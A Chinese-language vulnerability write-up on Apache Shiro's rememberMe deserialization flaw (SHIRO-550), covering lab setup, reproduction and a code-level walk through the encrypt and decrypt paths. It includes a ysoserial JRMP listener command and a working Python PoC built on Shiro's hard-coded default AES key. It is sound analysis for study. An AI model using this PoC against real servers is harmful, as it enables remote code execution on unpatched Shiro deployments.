漏洞简介

https://issues.apache.org/jira/browse/SHIRO-550

在shirt <= 1.2.24版本中,如果用户选择了Remember Me,那么shiro就会进行如下操作

1
2
3
4
获取Remember Me cookie值
Base64解码
AES解码
反序列化

而我们知道Remember cookie的生成方式是

1
2
3
4
序列化
AES加密
Base64加密
生成Remember Me cookie值

因为AES是对称密码,密钥可用于加密和解密而密钥是硬编码在文件中的,所以就可导致利用密钥将一个恶意对象序列化后加密。选择Remember Me后解密并反序列化时就会触发恶意代码

环境搭建

首先下载存在漏洞版本的shiro

1
2
3
4
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

然后修改pom.xml,在里面添加

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

然后将整个shiro文件导入Idea后通过mvn导入依赖包,接着配置tomcat

1

我这里使用的是jdk7+tomcat7,这里要配置一下Artifact

2

然后就可以运行了

3

漏洞复现

首先我们检测一下搭建的环境是否存在该漏洞,这里使用检查工具探测

4

发现漏洞确实存在,那就触发一下试试

5

接着使用手动复现一下

首先需要在vps上有一个rmi注册服务,执行

1
ysoserial % java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'curl 127.0.0.1:2345'

然后使用如下poc生成Remember Me Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

14

然后burpsuite抓包把Remember Me Cookie带入

15

漏洞分析

加密cookie流程分析

当我们成功登陆时如果选择了Remember Me,那么就会进入到AbstractRememberMeManager#onSuccessfulLogin

6

接着进入AbstractRememberMeManager#rememberIdentity

7

这里创建了一个principals对象,跟进rememberIdentity方法

8

跟进convertPrincipalsToBytes方法

9

这里将principals对象进行了序列化然后使用encrypt方法加密,也就是AES加密,这里跟进一下

22

这里的getCipherService方法作用是获取密码服务,这里的cipherService是AesCipherService

23

接下来的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());作用就是加密serialized了,这里的getEncryptionCipherKey作用是获取密钥,来看一下是怎么获取密钥的。

24

这里的encryptionCipherKey哪来的呢

发现在构造方法中有一个setCipherKey

25

这里的DEFAULT_CIPHER_KEY_BYTES就是硬编码在文件里的密钥

27

跟进setCipherKey

26

跟进setEncryptionCipherKey

28

这里就将密钥赋值给了encryptionCipherKey,所以回到上面的getEncryptionCipherKey方法就得到了密钥

接着继续跟进encrypt方法

29

30

这里的iv值由generateInitializationVector方法得到,返回一个类型为Bytes,长度为16的数组

接着调用encrypt的重载方法

31

这里使用了crypt方法对plaintext进行了加密,得到encrypted

接着新建了一个byte型的数组,长度为iv的长度加上encrypted的长度

然后调用arraycopy方法得到了新的密文output

1
2
3
4
5
6
7
Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度

回到rememberIdentity,跟进rememberSerializedIdentity方法

32

10

这里就将AES加密后的bytes进行了base64加密,最后通过response返回设置为用户的Cookie的rememberMe字段中

解密cookie流程分析

首先到达getRememberPrincipals方法处

13

跟进getRememberedSerializedIdentity方法

33

RememberMe Cookie从这里获得赋值给base64

接着调用了Base64#decode

11

跟进decode方法

12

通过toBytes方法转换成字节码的形式,再通过decode方法进行base64解码

接着进入convertBytesToPrincipals方法

16

跟进decrypt方法

17

这里的getCipherService和getDecryptionCipherKey和加密时是一样的值,具体的解密方法在decrypt里,跟进

34

看上去和加密也差不多,得到了一个iv,将ciphertext值通过arraycopy放入新数组encrypted里,将iv, key,encrypt代入decrypt的重载方法

35

最后通过crypt方法实现AES解密返回解密后的值decrypted

回到convertBytesToPrincipals方法,跟进deserialize方法

36

18

19

在这里触发反序列化执行命令

修复方式

20

21

将之前的固定Key改为随机生成Key